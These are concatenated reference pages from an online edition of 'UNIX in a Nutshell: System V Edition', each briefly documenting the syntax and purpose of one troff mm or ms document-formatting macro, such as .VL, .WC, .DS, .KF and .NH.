UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TS Chapter 13
mm Macros 		Next: Reference: .TY

.TX

.TX

User-supplied macro executed before table-of-contents titles.

Previous: Reference: .TS | UNIX in a Nutshell: System V Edition | Next: Reference: .TY
Reference: .TS | Book Index | Reference: .TY
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TY

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TX Chapter 13
mm Macros 		Next: Reference: .VL

.TY

.TY

User-supplied macro executed before table-of-contents header.

Previous: Reference: .TX | UNIX in a Nutshell: System V Edition | Next: Reference: .VL
Reference: .TX | Book Index | Reference: .VL
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .VL

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TY Chapter 13
mm Macros 		Next: Reference: .VM

.VL

.VL n [m] [1]

Initialize variable item list. Used to produce indented or labeled paragraphs. Indent text n spaces and indent mark m spaces. If third argument is 1, omit space between list items. Begin each item with .LI, specifying a label for each item; end list with .LE.

Previous: Reference: .TY | UNIX in a Nutshell: System V Edition | Next: Reference: .VM
Reference: .TY | Book Index | Reference: .VM
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .VM

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .VL Chapter 13
mm Macros 		Next: Reference: .WA

.VM

.VM [n] [m]

Add n lines to top margin and m lines to bottom.

Previous: Reference: .VL | UNIX in a Nutshell: System V Edition | Next: Reference: .WA
Reference: .VL | Book Index | Reference: .WA
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .WA

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .VM Chapter 13
mm Macros 		Next: Reference: .WE

.WA

.WA

Start of writer's address in business letter. End with .WE.

Previous: Reference: .VM | UNIX in a Nutshell: System V Edition | Next: Reference: .WE
Reference: .VM | Book Index | Reference: .WE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .WE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .WA Chapter 13
mm Macros 		Next: Reference: .WC

.WE

.WE

End of writer's address in business letter. Start with .WA.

Previous: Reference: .WA | UNIX in a Nutshell: System V Edition | Next: Reference: .WC
Reference: .WA | Book Index | Reference: .WC
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .WC

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .WE Chapter 13
mm Macros 		Next: 13.1 Alphabetical Summary of mm Macros

.WC

.WC [x]

Change column or footnote width to x.

Values for x

FF

All footnotes same as first.

-FF

Turn off FF mode. Normal default mode.

WD

Wide displays.

-WD

Use default column mode.

WF

Wide footnotes.

-WF

Turn off WF mode.

Previous: Reference: .WE | UNIX in a Nutshell: System V Edition | Next: 13.1 Alphabetical Summary of mm Macros
Reference: .WE | Book Index | 13.1 Alphabetical Summary of mm Macros
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .1C

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 14. ms Macros Chapter 14
ms Macros 		Next: Reference: .2C

.1C

.1C

Return to single-column format after .2C or .MC. The .1C macro necessarily causes a page break.

Previous: 14. ms Macros | UNIX in a Nutshell: System V Edition | Next: Reference: .2C
14. ms Macros | Book Index | Reference: .2C
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .2C

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .1C Chapter 14
ms Macros 		Next: Reference: .AB

.2C

.2C

Start two-column format. Return to single-column with .1C.

Previous: Reference: .1C | UNIX in a Nutshell: System V Edition | Next: Reference: .AB
Reference: .1C | Book Index | Reference: .AB
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .AB

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .2C Chapter 14
ms Macros 		Next: Reference: .AE

.AB

.AB

Begin abstract in cover sheet. End abstract with .AE.

Previous: Reference: .2C | UNIX in a Nutshell: System V Edition | Next: Reference: .AE
Reference: .2C | Book Index | Reference: .AE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .AE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .AB Chapter 14
ms Macros 		Next: Reference: .AI

.AE

.AE

End abstract begun with .AB.

Previous: Reference: .AB | UNIX in a Nutshell: System V Edition | Next: Reference: .AI
Reference: .AB | Book Index | Reference: .AI
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .AI

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .AE Chapter 14
ms Macros 		Next: Reference: .AU

.AI

.AI name

Print name of author's institution. Generally follows .AU in a cover sheet sequence; may be repeated up to nine times for multiple author/institution pairs.

Previous: Reference: .AE | UNIX in a Nutshell: System V Edition | Next: Reference: .AU
Reference: .AE | Book Index | Reference: .AU
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .AU

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .AI Chapter 14
ms Macros 		Next: Reference: .B

.AU

.AU name

Print author's name. Generally follows .TL and precedes .AI in a cover sheet sequence; may be repeated up to nine times for multiple authors.

Previous: Reference: .AI | UNIX in a Nutshell: System V Edition | Next: Reference: .B
Reference: .AI | Book Index | Reference: .B
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .B

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .AU Chapter 14
ms Macros 		Next: Reference: .B1

.B

.B [text]

Print text in boldface. If text is missing, equivalent to .ft 3.

Previous: Reference: .AU | UNIX in a Nutshell: System V Edition | Next: Reference: .B1
Reference: .AU | Book Index | Reference: .B1
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .B1

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .B Chapter 14
ms Macros 		Next: Reference: .B2

.B1

.B1

Enclose following text in a box. End box with .B2.

Previous: Reference: .B | UNIX in a Nutshell: System V Edition | Next: Reference: .B2
Reference: .B | Book Index | Reference: .B2
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .B2

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .B1 Chapter 14
ms Macros 		Next: Reference: .BD

.B2

.B2

End boxed text (started with .B1).

Previous: Reference: .B1 | UNIX in a Nutshell: System V Edition | Next: Reference: .BD
Reference: .B1 | Book Index | Reference: .BD
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .BD

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .B2 Chapter 14
ms Macros 		Next: Reference: .BR

.BD

.BD

Start block display. Text is output exactly as it appears in the source file, centered around the longest line. Same as .DS B. End with .DE.

Previous: Reference: .B2 | UNIX in a Nutshell: System V Edition | Next: Reference: .BR
Reference: .B2 | Book Index | Reference: .BR
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .BR

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .BD Chapter 14
ms Macros 		Next: Reference: .BX

.BR

.BR

Start bibliographic format (used to precede bibliographic record).

Previous: Reference: .BD | UNIX in a Nutshell: System V Edition | Next: Reference: .BX
Reference: .BD | Book Index | Reference: .BX
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .BX

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .BR Chapter 14
ms Macros 		Next: Reference: .CD

.BX

.BX word

Surround word in a box. Usually doesn't work for more than one word at a time, due to problems with filling. To box more than one word, separate each with an unpaddable space (\ ).

Previous: Reference: .BR | UNIX in a Nutshell: System V Edition | Next: Reference: .CD
Reference: .BR | Book Index | Reference: .CD
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .CD

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .BX Chapter 14
ms Macros 		Next: Reference: .DA

.CD

.CD

Start centered display. Each line in the display is individually centered. Same as .DS C. End with .DE.

Previous: Reference: .BX | UNIX in a Nutshell: System V Edition | Next: Reference: .DA
Reference: .BX | Book Index | Reference: .DA
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .DA

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .CD Chapter 14
ms Macros 		Next: Reference: .DE

.DA

.DA

Print today's date as the center footer of each page.

Previous: Reference: .CD | UNIX in a Nutshell: System V Edition | Next: Reference: .DE
Reference: .CD | Book Index | Reference: .DE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .DE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .DA Chapter 14
ms Macros 		Next: Reference: .DS

.DE

.DE

End displayed text started with .DS.

Previous: Reference: .DA | UNIX in a Nutshell: System V Edition | Next: Reference: .DS
Reference: .DA | Book Index | Reference: .DS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .DS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .DE Chapter 14
ms Macros 		Next: Reference: .EN

.DS

.DS [type]

Start displayed text. End with .DE.

Type

B

Left-justified block, centered; see .BD.

C

Centered display; see .CD.

I

Indented display (the default); see .ID.

L

Left-centered display; see .LD.

Previous: Reference: .DE | UNIX in a Nutshell: System V Edition | Next: Reference: .EN
Reference: .DE | Book Index | Reference: .EN
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .EN

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .DS Chapter 14
ms Macros 		Next: Reference: .EQ

.EN

.EN

End equation display started with .EQ.

Previous: Reference: .DS | UNIX in a Nutshell: System V Edition | Next: Reference: .EQ
Reference: .DS | Book Index | Reference: .EQ
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .EQ

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .EN Chapter 14
ms Macros 		Next: Reference: .FS

.EQ

.EQ

Start equation display to be processed by eqn. End with .EN. See Section 16 for more information on eqn.

Previous: Reference: .EN | UNIX in a Nutshell: System V Edition | Next: Reference: .FS
Reference: .EN | Book Index | Reference: .FS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .FS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .EQ Chapter 14
ms Macros 		Next: Reference: .FE

.FS

.FS

Start footnote. Text of footnote follows on succeeding lines. End with .FE.

Previous: Reference: .EQ | UNIX in a Nutshell: System V Edition | Next: Reference: .FE
Reference: .EQ | Book Index | Reference: .FE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .FE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .FS Chapter 14
ms Macros 		Next: Reference: .GO

.FE

.FE

End footnote started with .FS.

Previous: Reference: .FS | UNIX in a Nutshell: System V Edition | Next: Reference: .GO
Reference: .FS | Book Index | Reference: .GO
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .GO

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .FE Chapter 14
ms Macros 		Next: Reference: .I

.GO

.GO

Start processing text (run various package-startup procedures). For cover sheet to appear on a separate page, cover sheet macros should precede .GO.

Previous: Reference: .FE | UNIX in a Nutshell: System V Edition | Next: Reference: .I
Reference: .FE | Book Index | Reference: .I
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .I

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .GO Chapter 14
ms Macros 		Next: Reference: .ID

.I

.I [text]

Print text in italics. If text is missing, equivalent to .ft 2.

Previous: Reference: .GO | UNIX in a Nutshell: System V Edition | Next: Reference: .ID
Reference: .GO | Book Index | Reference: .ID
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .ID

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .I Chapter 14
ms Macros 		Next: Reference: .IP

.ID

.ID

Start indented display. Text is output exactly as it is in the source file, but indented 8 ens. Same as .DS I. End with .DE.

Previous: Reference: .I | UNIX in a Nutshell: System V Edition | Next: Reference: .IP
Reference: .I | Book Index | Reference: .IP
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .IP

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .ID Chapter 14
ms Macros 		Next: Reference: .KE

.IP

.IP label n

Indent paragraph n spaces with hanging label. .RS and .RE can be used for nested indents.

Previous: Reference: .ID | UNIX in a Nutshell: System V Edition | Next: Reference: .KE
Reference: .ID | Book Index | Reference: .KE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .KE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .IP Chapter 14
ms Macros 		Next: Reference: .KF

.KE

.KE

End static keep started with .KS or floating keep started with .KF.

Previous: Reference: .IP | UNIX in a Nutshell: System V Edition | Next: Reference: .KF
Reference: .IP | Book Index | Reference: .KF
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .KF

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .KE Chapter 14
ms Macros 		Next: Reference: .KS

.KF

.KF

Begin floating keep. End with .KE. Enclosed text stays on same page. If enclosed text doesn't fit on current page, it is output on the next page, and succeeding text "floats" before it to fill the current page.

Previous: Reference: .KE | UNIX in a Nutshell: System V Edition | Next: Reference: .KS
Reference: .KE | Book Index | Reference: .KS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .KS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .KF Chapter 14
ms Macros 		Next: Reference: .LD

.KS

.KS

Start keep. End with .KE. Enclosed text stays on same page. If text won't fit on current page, a page break occurs.

Previous: Reference: .KF | UNIX in a Nutshell: System V Edition | Next: Reference: .LD
Reference: .KF | Book Index | Reference: .LD
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .LD

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .KS Chapter 14
ms Macros 		Next: Reference: .LG

.LD

.LD

Start left-justified display. Block is centered, but individual lines are left justified in the block. Same as .DS L. End with .DE.

Previous: Reference: .KS | UNIX in a Nutshell: System V Edition | Next: Reference: .LG
Reference: .KS | Book Index | Reference: .LG
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .LG

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .LD Chapter 14
ms Macros 		Next: Reference: .LP

.LG

.LG

Increase type size by two points (troff only). Restore normal type with .NL.

Previous: Reference: .LD | UNIX in a Nutshell: System V Edition | Next: Reference: .LP
Reference: .LD | Book Index | Reference: .LP
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .LP

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .LG Chapter 14
ms Macros 		Next: Reference: .MC

.LP

.LP

Start block paragraph. Inter-paragraph spacing is determined by register PD. Default is .5v in troff and 1 line in nroff.

Previous: Reference: .LG | UNIX in a Nutshell: System V Edition | Next: Reference: .MC
Reference: .LG | Book Index | Reference: .MC
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .MC

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .LP Chapter 14
ms Macros 		Next: Reference: .ND

.MC

.MC cw gw

Start multi-column mode, with column-width cw and gutter width gw. The macro generates as many columns as can fit in the current line length. Return to single-column mode with .1C.

Previous: Reference: .LP | UNIX in a Nutshell: System V Edition | Next: Reference: .ND
Reference: .LP | Book Index | Reference: .ND
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .ND

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .MC Chapter 14
ms Macros 		Next: Reference: .NH

.ND

.ND

Suppress printing of date. See .DA.

Previous: Reference: .MC | UNIX in a Nutshell: System V Edition | Next: Reference: .NH
Reference: .MC | Book Index | Reference: .NH
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .NH

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .ND Chapter 14
ms Macros 		Next: Reference: .NL

.NH

.NH n
heading text

Numbered section heading; level n of the section number is automatically incremented.

Previous: Reference: .ND | UNIX in a Nutshell: System V Edition | Next: Reference: .NL
Reference: .ND | Book Index | Reference: .NL
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .NL

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .NH Chapter 14
ms Macros 		Next: Reference: .PP

.NL

.NL

Restore default type size (troff only). Used after .LG or .SM.

Previous: Reference: .NH | UNIX in a Nutshell: System V Edition | Next: Reference: .PP
Reference: .NH | Book Index | Reference: .PP
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .PP

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .NL Chapter 14
ms Macros 		Next: Reference: .QE

.PP

.PP

Start standard indented paragraph. Size of paragraph indent is stored in register PI (default is 5 ens).

Previous: Reference: .NL | UNIX in a Nutshell: System V Edition | Next: Reference: .QE
Reference: .NL | Book Index | Reference: .QE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .QE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .PP Chapter 14
ms Macros 		Next: Reference: .QP

.QE

.QE

End quoted paragraph started by .QS. .QS/.QE is similar to .QP.

Previous: Reference: .PP | UNIX in a Nutshell: System V Edition | Next: Reference: .QP
Reference: .PP | Book Index | Reference: .QP
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .QP

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .QE Chapter 14
ms Macros 		Next: Reference: .QS

.QP

.QP

Begin quoted paragraph: indented on both sides, with blank lines above and below, and (in troff) with the type size reduced by 1 point.

Previous: Reference: .QE | UNIX in a Nutshell: System V Edition | Next: Reference: .QS
Reference: .QE | Book Index | Reference: .QS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .QS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .QP Chapter 14
ms Macros 		Next: Reference: .R

.QS

.QS

Begin quoted paragraph, retaining current point size and vertical spacing. End with .QE.

Previous: Reference: .QP | UNIX in a Nutshell: System V Edition | Next: Reference: .R
Reference: .QP | Book Index | Reference: .R
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .R

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .QS Chapter 14
ms Macros 		Next: Reference: .RE

.R

.R [text]

Print text in roman. If text is missing, equivalent to .ft R.

Previous: Reference: .QS | UNIX in a Nutshell: System V Edition | Next: Reference: .RE
Reference: .QS | Book Index | Reference: .RE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .RE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .R Chapter 14
ms Macros 		Next: Reference: .RP

.RE

.RE

End one level of relative indent started with .RS.

Previous: Reference: .R | UNIX in a Nutshell: System V Edition | Next: Reference: .RP
Reference: .R | Book Index | Reference: .RP
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .RP

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .RE Chapter 14
ms Macros 		Next: Reference: .RS

.RP

.RP

Initiate title page for a "released paper."

Previous: Reference: .RE | UNIX in a Nutshell: System V Edition | Next: Reference: .RS
Reference: .RE | Book Index | Reference: .RS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .RS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .RP Chapter 14
ms Macros 		Next: Reference: .SB

.RS

.RS

Right shift. Increase relative indent one level. End with .RE. Often used with .IP.

Previous: Reference: .RP | UNIX in a Nutshell: System V Edition | Next: Reference: .SB
Reference: .RP | Book Index | Reference: .SB
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .SB

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .RS Chapter 14
ms Macros 		Next: Reference: .SG

.SB

.SB word chars

Use chars as a subscript for word. See also .SU.

Previous: Reference: .RS | UNIX in a Nutshell: System V Edition | Next: Reference: .SG
Reference: .RS | Book Index | Reference: .SG
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .SG

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .SB Chapter 14
ms Macros 		Next: Reference: .SH

.SG

.SG

Print a signature line.

Previous: Reference: .SB | UNIX in a Nutshell: System V Edition | Next: Reference: .SH
Reference: .SB | Book Index | Reference: .SH
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .SH

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .SG Chapter 14
ms Macros 		Next: Reference: .SM

.SH

.SH
heading text

Unnumbered section heading. See also .NH.

Previous: Reference: .SG | UNIX in a Nutshell: System V Edition | Next: Reference: .SM
Reference: .SG | Book Index | Reference: .SM
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .SM

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .SH Chapter 14
ms Macros 		Next: Reference: .SU

.SM

.SM

Change to smaller type size (troff only). Restore normal type with .NL.

Previous: Reference: .SH | UNIX in a Nutshell: System V Edition | Next: Reference: .SU
Reference: .SH | Book Index | Reference: .SU
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .SU

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .SM Chapter 14
ms Macros 		Next: Reference: .TE

.SU

.SU word chars

Use chars as a superscript for word. See also .SB.

Previous: Reference: .SM | UNIX in a Nutshell: System V Edition | Next: Reference: .TE
Reference: .SM | Book Index | Reference: .TE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .SU Chapter 14
ms Macros 		Next: Reference: .TH

.TE

.TE

End table to be processed by tbl. See .TS.

Previous: Reference: .SU | UNIX in a Nutshell: System V Edition | Next: Reference: .TH
Reference: .SU | Book Index | Reference: .TH
